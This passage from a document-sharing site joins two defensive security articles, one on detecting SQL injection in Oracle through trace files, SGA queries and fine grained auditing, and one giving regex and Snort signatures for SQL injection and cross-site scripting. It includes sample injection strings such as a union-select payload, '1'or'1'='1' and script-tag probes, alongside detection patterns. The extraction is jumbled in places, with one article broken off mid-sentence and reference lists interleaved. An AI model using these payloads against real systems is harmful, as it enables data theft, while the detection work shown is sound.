incident has occurred and where trace usage could be controlled to a narrow time band or number of clients.


Internal Oracle trace files


Oracle can also generate trace files from the Oracle kernel when SQL is executed. This can be enabled at the
RDBMS level by setting the initialisation parameter SQL_TRACE=true in the init.ora file. It can also be turned on
just for the instance by doing:

ALTER SYSTEM SET SQL_TRACE=TRUE;

Trace can also be turned on for the current session with:

ALTER SESSION SET SQL_TRACE=TRUE;

Before trace is turned on the parameter timed_statistics should be set to TRUE in the initialisation file. Trace
files will be written to the file pointed at by the user_dump_dest parameter in the initialisation file.


Let's create a trace file and analyse it for our simple SQL injection example as follows:

SQL> alter session set sql_trace=true;

Session altered.

SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');

PL/SQL procedure successfully completed.

SQL>

A trace file has been created with a name format of {SID}_ora_{PID).trc. The format is platform specific. The
PID is the OS PID as for the SQL*Net trace file and again it can be determined from querying the views
v$session and v$process. The raw trace file can be read and the SQL in question can be seen as follows:

*** 2003-06-16 16:54:01.429
*** SESSION ID:(8.29) 2003-06-16 16:54:01.408
APPNAME mod='SQL*Plus' mh=3669949024 act='' ah=4029777240
=====================
PARSING IN CURSOR #3 len=33 dep=0 uid=17 oct=42 lid=17 tim=1055782441429190 hv=3
732290820 ad='846c85c0'
alter session set sql_trace=true
END OF STMT
EXEC #3:c=0,e=1,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=1055782441407935
*** 2003-06-16 16:54:34.876
=====================
PARSING IN CURSOR #3 len=82 dep=0 uid=17 oct=47 lid=17 tim=1055782474876639 hv=3
204430447 ad='8482555c'
BEGIN get_cust('x'' union select username from all_users where ''x''=''x'); END;
END OF STMT
PARSE #3:c=0,e=6430,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=1055782474876611
=====================

A better way is to post process the trace file with a utility called tkprof as follows:

oracle:jupiter> tkprof emil_ora_616.trc output.trc sys=yes

TKPROF: Release 9.0.1.0.0 - Production on Mon Jun 16 16:59:50 2003

(c) Copyright 2001 Oracle Corporation.                  All rights reserved.

The generated file contains quite a lot of information, including timing and user ID. The timing would need to be
read from the raw trace file but the user ID can be found from the tkprof output. The processed output shows
the PL/SQL package being called and also the dynamic SQL string:

<output snipped>
BEGIN get_cust('x'' union select username from all_users where ''x''=''x');
  END;



call     count           cpu    elapsed       disk      query    current         rows
------- ------      -------- ---------- ---------- ---------- ----------   ----------
Parse        1          0.00       0.00          0          0          0            0
Execute      1          0.00       0.00          0          0          0            1
Fetch        0          0.00       0.00          0          0          0            0
------- ------      -------- ---------- ---------- ---------- ----------   ----------
total        2          0.00       0.01          0          0          0            1

Misses in library cache during parse: 1
Optimizer goal: CHOOSE
Parsing user id: 17
<output snipped>
select customer_phone
from
 customers where customer_surname='x' union select username from all_users
  where 'x'='x'



call     count           cpu    elapsed       disk      query    current         rows
------- ------      -------- ---------- ---------- ---------- ----------   ----------
Parse        1          0.01       0.02          0          0          0            0
Execute      1          0.01       0.00          0          0          1            0
Fetch       37          0.01       0.00          0        184          5           36
------- ------      -------- ---------- ---------- ---------- ----------   ----------
total       39          0.03       0.03          0        184          6           36

Misses in library cache during parse: 1
Optimizer goal: CHOOSE
Parsing user id: 17     (recursive depth: 1)

Rows     Row Source Operation
------- ---------------------------------------------------
     36 SORT UNIQUE
     36   UNION-ALL
<output snipped>

The user ID can be read from the database as:

SQL> select username,user_id
  2 from dba_users
  3     where user_id=17;

USERNAME                          USER_ID
------------------------------ ----------
DBSNMP                                 17

SQL>

Trace files clearly have promise for implementing a SQL injection detection system but they also have some
serious problems:


    •    Trace would need to be turned on globally all of the time.
    •    Trace generation would consume system resources; how much depends on the type of database and
         application.
    •    A huge amount of trace files would quickly consume disk space. A denial of service attack would be easy
         to achieve.
    •    As with other methods, a parser or filter program would be needed to extract the SQL, user and timing
         information and then to decide if the SQL was a SQL injection attempt.
    •    Because trace files are again generated based on OS PID, managing them would be tricky in real time
         to ensure that resources are not overused. Any long running sessions could easily fill a disk.


The information in trace files is good and usable but the problems with managing the trace files and the
performance issues with generating trace constantly would suggest this method might not be usable. Again, as
with SQL*net these files can be used sparingly.


Reading SQL from the System Global Area (SGA)


This should be the most promising method to extract SQL and analyse if a SQL injection attempt has been
made. The reasons is purely because this is the heart of the Oracle RDBMS, and all SQL and PL/SQL executed
spends some time in the SQL area in the SGA. There are a couple of issues to be aware of with this, however.
The first is that querying the SQL area can be resource intensive and could affect performance on a critical
production system and secondly it could be possible to miss SQL that has been executed. If a database runs
thousands of pieces of SQL and all are different and the memory allocated for the SQL area is not large, then
little used SQL (once or twice) could be aged out of the area very quickly.


Querying the SQL regularly is the key to monitoring for abuse. Too often this could affect performance and not
often enough you could miss something. If an organisation were to use this method to check for abuse, start
with checks maybe two or three times a day, monitor it and adjust as more is learnt.


Once again, as with the other sources of information a filter or parser is really needed to analyse the SQL
extracted to give some indication as to whether it is legal or not. Start with a basic script like the one below that
just checks for the existence of a union in the SQL, filter out some users perhaps, save the results to a
summary table using a create table as select statement and further filter for specific tables involved. A good
first approximation would be to highlight any SQL issued by a non SYS user with a union that also accesses a
table or view owned by sys. Our example queries the view all_users owned by sys.
Here is a simple query that extracts the SQL from the SGA where there is a union included. This is to give the
reader an idea of what data can be read. Further filtering can be done as described above.

select  a.address address,
        s.hash_value hash_value,
        s.piece piece,
        s.sql_text sql_text,
        u.username parsing_user_id,
        c.username parsing_schema_id
from    v$sqlarea a,
        v$sqltext_with_newlines s,
        dba_users u,
        dba_users c
where a.address=s.address
and a.hash_value=s.hash_value
and a.parsing_user_id=u.user_id
and a.parsing_schema_id=c.user_id
and exists (select 'x'
        from v$sqltext_with_newlines x
        where x.address=a.address
        and x.hash_value=a.hash_value
        and upper(x.sql_text) like '%UNION%')
order by 1,2,3
/

Running this gives:

<output snipped>
QL_TEXT                            PARSING_USER_ID PARSING_SCHEMA_
----------------------------------- --------------- ---------------
and a.parsing_schema_id=c.user_id
and upper(s
.sql_text) like '%UNION%'           SYSTEM          SYSTEM
order by 1,2,3

BEGIN dbsnmp.get_cust('x'' union               SYS                  SYS
select username from all_users
where ''x''=''x'); END;                        SYS                  SYS

select customer_phone from                     SYS                  SYS
customers where
customer_surname='x'
union select username from                     SYS                  SYS
all_users where 'x'='x'

BEGIN get_cust('x'' union select               DBSNMP               DBSNMP
username from all_users where '
'x''=''x'); END;                                DBSNMP               DBSNMP

select                              SYS                              SYS
tc.type#,tc.intcol#,tc.position#,c.
type#, c.length,c.scal
<output snipped>

The example has been run as both the SYS user and DBSNMP user whilst this database has been up so it
appears a number of times in the output. This method so far seems to be the simplest to use and offers
probably the easiest way to implement a complete tool/script to analyse for SQL injection. It also has the least
downside effects!


Using Oracle audit


The features available with standard Oracle audit are rich and varied but there are a number of problems with
using it to detect SQL injection.


    •   Audit doesn't work at Row level only at session or access level.
    •   The SQL that was used at run time cannot be captured.
    •   There is no easy way to detect the use of a union (our example) or any of the other cases defined
        above that are only recognisable by parsing the SQL text.


Irrespective of any of the other methods, audit should be used. It is a robust and useful system and can reap
benefits when used to detect abuse.


It is not easily possible to detect SQL injection with audit but rather to see the smoking gun. For instance if
audit were enabled for select access on the tables dbsnmp.customers and sys.all_users then the audit trail
should show entries when the SQL injection attempt as described in our example is used. We cannot definitely
say a union was employed but access by DBSNMP to ALL_USERS should be visible.


When a hacker is attempting to guess what SQL he can add to an existing string, how to add a union or sub-
select, or adding comments to truncate, SQL errors can be generated when he gets it wrong. Again it is a
smoking gun and detailed analysis of errors in the audit trail and other actions by the same user in the same
session can indicate what was happening.


Here is an example of using audit whilst the SQL injection example is run. First turn on audit on the ALL_USERS
view and CUSTOMERS table.

SQL> audit select on sys.all_users by access;

Audit succeeded.

SQL> audit select on dbsnmp.customers by access;

Audit succeeded.
Check the audit trail with the following SQL:

col username for a8
col timestamp for a20
col action_name for a15
col obj_name for a10
col owner for a8
col sessionid for 999
col returncode for 999
select username,
        to_char(timestamp,'DD-MON-YYYY HH24:MI:SS') timestamp,
        action_name,
        obj_name,
        owner,
        sessionid,
        returncode
from    dba_audit_object
order by timestamp;

The results are:

USERNAME TIMESTAMP            ACTION_NAME     OBJ_NAME   OWNER    SESSIONID
RETURNCODE
-------- -------------------- --------------- ---------- -------- --------- ---------
-
DBSNMP   16-JUN-2003 20:21:08 SELECT          ALL_USERS SYS             227
0

DBSNMP      16-JUN-2003 20:21:08 SELECT                        CUSTOMERS     DBSNMP              227
0

DBSNMP      16-JUN-2003 20:21:08 SELECT                        CUSTOMERS     DBSNMP              227
0

This shows access to the ALL_USERS view and CUSTOMERS table by the user DBSNMP in the same session. It is
simple also to write a piece of SQL to analyse errors in the audit trail.


Audit can clearly be used to assist in detecting SQL injection but would require considerable effort to define
"good" SQL queries and audit settings to reliably "guess" at SQL injection attempts.


For more information see the previous article by this author about Oracle audit for a brief introduction to its
use.


Database triggers
Database triggers are usually the next line of defence when Oracle's internal audit is used. The normal audit
facilities operate at object level or privilege level and are not useful for determining what happened at the row
level. Triggers can be used for this. To use them involves programming a trigger for each table and for each
action such as insert, update or delete. The main failing with triggers is that they cannot be written to fire when
a select takes place against a table or view.


Extracting the actual SQL used to do the update, delete or insert is not possible. It is possible to create SQL that
is used to alter the table the trigger fires on by reading before and after values for each row and creating the
trigger to fire for each row.


In view of these restrictions, database triggers are not really useful in the quest to find SQL injection attempts.


Fine grained auditing


With version 9i, Oracle introduced fine grained auditing (FGA). This functionality is based on internal triggers
that fire every time an SQL statement is parsed. As with fine grained access control it is based on defining
predicates to limit the SQL that will be audited. By using audit policies, auditing can be focused on a small
subset of activities performed against a defined set of data.


The one advantage that this functionality brings is the ability to finally monitor select statements at the row
level. The standard handler function also captures SQL, so this looks like it could be a good tool to check for
SQL injection.


Indeed Oracle states in their on-line documentation for this package that it is an ideal tool to implement an IDS
system with. However it remains to be seen as to whether anyone has successfully used this package and
policies as a base for an IDS tool.


Let's set up a simple policy and see if our example injection can be caught. The first requirement is that the
tables with FGA set up against them need to have statistics generated by analysing. Also the cost-based
optimiser must be used. There are a number of issues with FGA that cause the trigger to not fire correctly, for
instance if a RULE hint is used in the SQL.


First check the optimiser and analyse the sample table:

SQL> analyze table dbsnmp.customers compute statistics;

Table analyzed.

SQL> select name,value from v$parameter
  2 where name='optimizer_mode';

NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
optimizer_mode
CHOOSE

Next, create a policy that will execute every time a statement is run against the table (in this case
DBSNMP.CUSTOMERS).

  1    begin
  2    dbms_fga.add_policy(object_schema=>'DBSNMP',
  3               object_name=>'CUSTOMERS',
  4               policy_name=>'SQL_INJECT',
  5               audit_condition=>'1=1',
  6               audit_column=>null,
  7               handler_schema=>null,
  8               handler_module=>null,
  9               enable=>true);
 10*   end;
SQL>   /

PL/SQL procedure successfully completed.

SQL>

Next, execute the SQL injection example and then check the audit trail for any entries:

SQL> set serveroutput on size 100000
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::EMIL
<records snipped>
::SYS
::SYSTEM
::WKSYS
::ZULIA

PL/SQL procedure successfully completed.

SQL>   col db_user for a15
SQL>   col object_name for a20
SQL>   col sql_text for a30 word_wrapped
SQL>   select db_user,timestamp,object_name,sql_text
  2    from dba_fga_audit_trail
  3    order by timestamp;
DB_USER         TIMESTAMP OBJECT_NAME          SQL_TEXT
--------------- --------- -------------------- ------------------------------
DBSNMP          16-JUN-03 CUSTOMERS            select customer_phone from
                                               customers where
                                               customer_surname='x' union
                                               select username from all_users
                                               where 'x'='x'

SQL>

Okay, success. The dynamic SQL is shown including the union join to the ALL_USERS system table. The use of
FGA would need to be expanded to every table in the application schema. Then reports would need to be
written that returned only entries that violate some of the basic rules we defined at the beginning, such as SQL
with a union in it or SQL with a line such as 'x'='x'.


All of the policies could be easily generated using SQL such as:

select 'exec dbms_fga.add_policy(object_schema=>'''||owner||''',object_name=>'''
||table_name||''',policy_name=>'''||table_name||''',audit_condition=>''1=1'',aud
it_column=>null,handler_schema=>null,handler_module=>null,enable=>true);'
from dba_tables
where owner not in ('SYS','SYSTEM')
/

Of course the policies would probably need better names to avoid name clashes and it would be prudent to
include some logic in a handler function to analyse the SQL for abuses.


Protection is better than detection

Some solutions for protecting against SQL injection were given in the previous papers but for completeness a
few of the main ideas are included here again:


    •   Do not use dynamic SQL that uses concatenation. If it is absolutely necessary then filter the input
        carefully.
    •   If possible do not use dynamic PL/SQL anywhere in an application. Find another solution. If dynamic
        PL/SQL is necessary then use bind variables.
    •   Use AUTHID CURRENT_USER in PL/SQL so that it runs as the current user and not the owner.
    •   Use least privilege principle and allow only the privileges necessary


Conclusions

SQL injection is a relatively new phenomenon and is being embraced by attackers with gusto. No figures are yet
available to quantify how big the problem is for Oracle-based systems. At present more exposure in the press,
technical sites and publications is given to other database products. I believe this is because it is slightly harder
to SQL inject an Oracle database than other products. However, that doesn't mean there is not a problem with
Oracle databases.


The other reason there are no accurate figures is that most companies probably would not even know anyone is
using SQL injection against their Oracle database. I hope that this paper has given some insight to the issue
and some simple ideas for DBAs and security managers to monitor for this problem.


As I have stated before, one simple solution is to not connect your Oracle database to the Internet (or intranet)
if it is not necessary. Secondly, do not use dynamic SQL or PL/SQL and if you do, use bind variables. Also audit
and secure the data with as much thought as possible to the OS and network security.


The simple test cases above have shown that there are indeed a number of trails left in the database or network
trace files when SQL injection is attempted. Therefore it should be possible for the DBA to use some of the
above sources as a basis for a detection policy. Some of the methods such as trace files are clearly resource
hogs. The fine grained audit and reading SQL from the SGA look like good candidates, as does the consistent
use of audit.


Of course, the best form of defence is to audit your database security and avoid dynamic SQL!!

References

    •   Oracle security step-by-step "A survival guide for Oracle security" - Pete Finnigan 2003, published by
        SANS Institute
    •   Oracle security handbook - Aaron Newman and Marlene Theriault - published by Oracle Press.


                 Detection of SQL Injection and Cross-site Scripting Attacks

        1. Introduction
        In the last couple of years, attacks against the Web application layer have required increased
        attention from security professionals. This is because no matter how strong your firewall
        rulesets are or how diligent your patching mechanism may be, if your Web application
        developers haven't followed secure coding practices, attackers will walk right into your
        systems through port 80. The two main attack techniques that have been used widely are SQL
        Injection [ref 1] and Cross Site Scripting [ref 2] attacks. SQL Injection refers to the technique
        of inserting SQL meta-characters and commands into Web-based input fields in order to
        manipulate the execution of the back-end SQL queries. These are attacks directed primarily
        against another organization's Web server. Cross Site Scripting attacks work by embedding
        script tags in URLs and enticing unsuspecting users to click on them, ensuring that the
        malicious Javascript gets executed on the victim's machine. These attacks leverage the trust
        between the user and the server and the fact that there is no input/output validation on the
        server to reject Javascript characters.


        This article discusses techniques to detect SQL Injection and Cross Site Scripting (CSS)
        attacks against your networks. There has been a lot of discussion on these two categories of
        Web-based attacks about how to carry them out, their impact, and how to prevent these
compose regular-expression based rules for detecting these attacks. Incidentally, the default
ruleset in Snort does contain signatures for detecting cross-site scripting, but these can be
evaded easily. Most of them can be evaded by using the hex-encoded values of strings such as
%3C%73%63%72%69%70%74%3E instead of <script>.


We have written multiple rules for detecting the same attack depending upon the
organization's level of paranoia. If you wish to detect each and every possible SQL Injection
attack, then you simply need to watch out for any occurrence of SQL meta-characters such as
the single-quote, semi-colon or double-dash. Similarly, a paranoid way of checking for CSS
attacks would be to simply watch out for the angled brackets that signify an HTML tag. But
these signatures may result in a high number of false positives. To avoid this, the signatures
can be modified to be made accurate, yet still not yield too many false positives.


Each of these signatures can be used with or without other verbs in a Snort signature using
the pcre [ref 4] keyword. These signatures can also be used with a utility like grep to go
through the Web-server's logs. But the caveat is that the user input is available in the Web
server's logs only if the application uses GET requests. Data about POST requests is not
available in the Web server's logs.

2. Regular Expressions for SQL Injection
An important point to keep in mind while choosing your regular expression(s) for detecting
SQL Injection attacks is that an attacker can inject SQL into input taken from a form, as well
as through the fields of a cookie. Your input validation logic should consider each and every
type of input that originates from the user -- be it form fields or cookie information -- as
suspect. Also if you discover too many alerts coming in from a signature that looks out for a
single-quote or a semi-colon, it just might be that one or more of these characters are valid
inputs in cookies created by your Web application. Therefore, you will need to evaluate each of
these signatures for your particular Web application.


As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch
out for SQL specific meta-characters such as the single-quote (') or the double-dash (--). In
order to detect these characters and their hex equivalents, the following regular expression
may be used:


2.1 Regex for detection of SQL meta-characters
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix </TD< tr>


Explanation:
We first detect either the hex equivalent of the single-quote, the single-quote itself or the
presence of the double-dash. These are SQL characters for MS SQL Server and Oracle, which
denote the beginning of a comment, and everything that follows is ignored. Additionally, if
you're using MySQL, you need to check for presence of the '#' or its hex-equivalent. Note that
we do not need to check for the hex-equivalent of the double-dash, because it is not an HTML
meta-character and will not be encoded by the browser. Also, if an attacker tries to manually
modify the double-dash to its hex value of %2D (using a proxy like Achilles [ref 5]), the SQL
Injection attack fails.
The above regular expression would be added into a new Snort rule as follows:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection -
Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-
)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;) </TD< tr>


In this case, the uricontent keyword has the value ".pl", because in our test environment, the
CGI scripts are written in Perl. Depending upon your particular application, this value may be
either ".php", or ".asp", or ".jsp", etc. From this point onwards, we do not show the
corresponding Snort rule, but instead only the regular expressions that are to be used for
creating these rules. From the regular expressions you can easily create more Snort rules.


In the previous regular expression, we detect the double-dash because there may be
situations where SQL injection is possible even without the single-quote [ref 6]. Take, for
instance, an SQL query which has the where clause containing only numeric values.
Something like:


select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number


In this case, the attacker may execute an additional SQL query, by supplying an input like:


3; insert values into some_other_table


Finally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to
ignore whitespaces, respectively.


The above signature could be additionally expanded to detect the occurrence of the semi-colon
as well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In
order to reduce the false positives from this, and also from any normal occurrence of the
single-quote and double-dash, the above signature could be modified to first detect the
occurrence of the = sign. User input will usually occur as a GET or a POST request, where the
input fields will be reflected as:


username=some_user_supplied_value&password=some_user_supplied_value


Therefore, the SQL injection attempt would result in user input being preceded by a = sign or
its hex equivalent.


2.2 Modified regex for detection of SQL meta-characters
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i </TD< tr>


Explanation:
This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero
or more non-newline characters, and then it checks for the single-quote, the double-dash or
the semi-colon.
A typical SQL injection attempt of course revolves around the use of the single quote to
manipulate the original query so that it always results in a true value. Most of the examples
that discuss this attack use the string 1'or'1'='1. However, detection of this string can be
easily evaded by supplying a value such as 1'or2>1--. Thus the only part that is constant in
this is the initial alphanumeric value, followed by a single-quote, and then followed by the
word 'or'. The Boolean logic that comes after this may be varied to an extent where a generic
pattern is either very complex or does not cover all the variants. Thus these attacks can be
detected to a fair degree of accuracy by using the next regular expression, in section 2.3
below.


2.3 Regex for typical SQL Injection attack
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix </TD< tr>


Explanation:
\w* - zero or more alphanumeric or underscore characters
(\%27)|\' - the ubiquitous single-quote or its hex equivalent
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its
upper and lower case hex equivalents.


The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of
databases. If the earlier regular expression that just detects the single-quote or other SQL
meta characters results in too many false positives, you could further modify the query to
specifically check for the single-quote and the keyword 'union'. This can also be further
extended to other SQL keywords such as 'select', 'insert', 'update', 'delete', etc.


2.4 Regex for detecting SQL Injection with the UNION keyword
/((\%27)|(\'))union/ix
(\%27)|(\') - the single-quote and its hex equivalent
union - the keyword union


Similar expressions can be written for other SQL queries such as >select, insert, update,
delete, drop, and so on.


If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL
injection, he will try to exploit it. If he realizes that the back-end database is on an MS SQL
server, he will typically try to execute one of the many dangerous stored and extended stored
procedures. These procedures start with the letters 'sp' or 'xp' respectively. Typically, he
would try to execute the 'xp_cmdshell' extended procedure, which allows the execution of
Windows shell commands through the SQL Server. The access rights with which these
commands will be executed are those of the account with which SQL Server is running --
usually Local System. Alternatively, he may also try and modify the registry using procedures
such as xp_regread, xp_regwrite, etc.


2.5 Regex for detecting SQL Injection attacks on a MS SQL Server
/exec(\s|\+)+(s|x)p\w+/ix </TD< tr>
Explanation:
exec - the keyword required to run the stored or extended procedure
(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents
(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures respectively
\w+ - one or more alphanumeric or underscore characters to complete the name of the
procedure

3. Regular Expressions for Cross Site Scripting (CSS)
When launching a cross-site scripting attack, or testing a Website's vulnerability to it, the
attacker may first issue a simple HTML formatting tag such as <b> for bold, <i> for italic or
<u> for underline. Alternatively, he may try a trivial script tag such as
<script>alert("OK")</script>. This is likely because most of the printed and online literature
on CSS use this script as an example for determining if a site is vulnerable to CSS. These
attempts can be trivially detected. However, the advanced attacker may attempt to
camouflage the entire string by entering its Hex equivalents. So the <script> tag would
appear as %3C%73%63%72%69%70%74%3E. On the other hand, the attacker may actually
use a Web Application Proxy like Achilles and reverse the browser's automatic conversion of
special characters such as < to %3C and > to %3E. So the attack URL will contain the angled
brackets instead of their hex equivalents as would otherwise normally occur.


The following regular expression checks for attacks that may contain HTML opening tags and
closing tags <> with any text inside. It will catch attempts to use <b> or <u> or <script>.
The regex is case-insensitive. We also need to check for the presence of angled brackets, as
well as their hex equivalents, or (%3C|<). To detect the hex conversion of the entire string,
we must check for the presence of numbers as well as the % sign in the user input, in other
words, the use of [a-z0-9%]. This may sometimes result in false-positives, but most of the
time will detect the actual attack.


3.1 Regex for simple CSS attack
/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/ix </TD< tr>


Explanation:
((\%3C)|<) - check for opening angle bracket or hex equivalent
((\%2F)|\/)* - the forward slash for a closing tag or its hex equivalent
[a-z0-9\%]+ - check for alphanumeric string inside the tag, or hex representation of these
((\%3E)|>) - check for closing angle bracket or hex equivalent


Snort signature:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII Cross-site
scripting attempt"; flow:to_server,established; pcre:"/((\%3C)|<)((\%2F)|\/)*[a-z0-
9\%]+((\%3E)|>)/i"; classtype:Web-application-attack; sid:9000; rev:5;) </TD< tr>
much tougher to evade.


3.2 Regex for "<img src" CSS attack
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|>)/I
</TD< tr>


Explanation:
(\%3C)|<) opening angled bracket or hex equivalent
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) the letters 'img' in
varying combinations of ASCII, or upper or lower case hex equivalents
[^\n]+ any character other than a new line following the <img
(\%3E)|>) closing angled bracket or hex equivalent


3.3 Paranoid regex for CSS attacks
/((\%3C)|<)[^\n]+((\%3E)|>)/I </TD< tr>


Explanation:
This signature simply looks for the opening HTML tag, and its hex equivalent, followed by one
or more characters other than the newline, and then followed by the closing tag or its hex
equivalent. This may end up giving a few false positives depending upon how your Web
application and Web server are structured, but it is guaranteed to catch anything that even
remotely resembles a cross-site scripting attack.


For an excellent reference on types of cross-site scripting attacks that will evade filters, see
the Bugtraq posting http://www.securityfocus.com/archive/1/272037. However, note that the
last of the cross-site scripting signatures, which is the paranoid signature, will detect all these
attacks.


4. Conclusion
In this article, we've presented different types of regular expression signatures that can be
used to detect SQL Injection and Cross Site Scripting attacks. Some of the signatures are
simple yet paranoid, in that they will raise an alert even if there is a hint of an attack. But
there is also the possibility that these paranoid signatures may result in false positives. To
take care of this, we've then modified the simple signatures with additional pattern checks so
that they are more accurate. We recommend that these signatures be taken as a starting
point for tuning your IDS or log analysis methods, in the detection of these Web application
layer attacks. After a few modifications, and after taking into account the non-malicious traffic
that occurs as part of your normal Web transactions, you should be able to accurately detect
these attacks.


References
1. SQL Injection http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
2. Cross Site Scripting FAQ http://www.cgisecurity.com/articles/xss-faq.shtml
3. The Snort IDS http://www.snort.org
4. Perl-compatible regular expressions (pcre) http://www.pcre.org
5. Web application proxy, Achilles http://achilles.mavensecurity.com
        3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced_sql_injection.pdf
        7. Secure Programming HOWTO, David Wheeler www.dwheeler.com
        8. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com


        About the authors
        K. K. Mookhey is Founder & CTO of Network Intelligence India Pvt. Ltd. (www.nii.co.in), which
        provides information security consulting services including security audits, penetration testing,
        security design, application audits, and security training. He has written a number of articles
        and whitepapers on information security, and is also responsible for NII's research initiatives.


        Nilesh Burghate is an Information Assurance Consultant with NII, and his interests include
        penetration testing, IDS signature writing, intrusion analysis and detection and forensics. The
        results from his team's research efforts provide direct input to NII's Security Alerting service.
   •   Expert One-on-one - Tom Kyte - wrox press
   •   http://www.orafaq.com/papers/redolog.pdf
   •   www.petefinnigan.com/orasec.htm
   •   Oracle Net8 configuration and troubleshooting - Toledo and Gennick , O'Reilly
   •   Oracle in a nutshell - Greenwald and Kreines - O'Reilly
   •   Introduction to simple Oracle auditing"
   •   "SQL injection and Oracle - part one"
   •   "SQL injection and Oracle - part two"
   •   http://www.interealm.com/technotes/roby/fga.htm

About the author

Pete Finnigan is the author of the recently published book "Oracle security step-by-step - A survival guide to
Oracle security" published in January 2003 by the SANS Institute. Pete Finnigan is the founder and CTO of
PeteFinnigan.com Limited a UK based company that specialises in auditing and securing Oracle databases for
clients world wide.

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:1215
posted:1/19/2011
language:English
pages:171